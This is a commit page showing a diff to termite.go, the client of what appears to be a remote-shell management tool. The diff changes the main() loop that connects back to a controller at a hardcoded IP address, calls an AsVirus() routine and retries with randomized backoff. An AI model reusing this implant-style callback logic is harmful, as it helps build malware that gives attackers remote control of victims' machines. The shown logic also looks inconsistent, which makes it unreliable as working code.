Skip to content

Commit

Permalink
[+] Fix termite connection logic
Browse files Browse the repository at this point in the history
  • Loading branch information
WangYihang committed Jul 16, 2021
1 parent cb91a50 commit dca33c4
Showing 1 changed file with 13 additions and 12 deletions.
25 changes: 13 additions & 12 deletions termite.go
Original file line number Diff line number Diff line change
Expand Up @@ -721,23 +721,24 @@ func main() {
processes = map[string]*TermiteProcess{}
pullTunnels = map[string]*net.Conn{}
pushTunnels = map[string]*net.Conn{}
// service := "127.0.0.1:13337"
service := "182.92.191.192:13337"
// release := true
service := "127.0.0.1:13337"
release := true

// if release {
// service = strings.Trim("xxx.xxx.xxx.xxx:xxxxx", " ")
// AsVirus()
// }
AsVirus()
if release {
service = strings.Trim("xxx.xxx.xxx.xxx:xxxxx", " ")
}

for {
log.Info("Termite (v%s) starting...", update.Version)
if !StartClient(service) {
if StartClient(service) {
if release {
AsVirus()
}
add := (int64(rand.Uint64()) % backoff.Current)
log.Error("Connect to server failed, sleeping for %d seconds", backoff.Current+add)
backoff.Sleep(add)
} else {
break
}
add := (int64(rand.Uint64()) % backoff.Current)
log.Error("Connect to server failed, sleeping for %d seconds", backoff.Current+add)
backoff.Sleep(add)
}
}

0 comments on commit dca33c4

Please sign in to comment.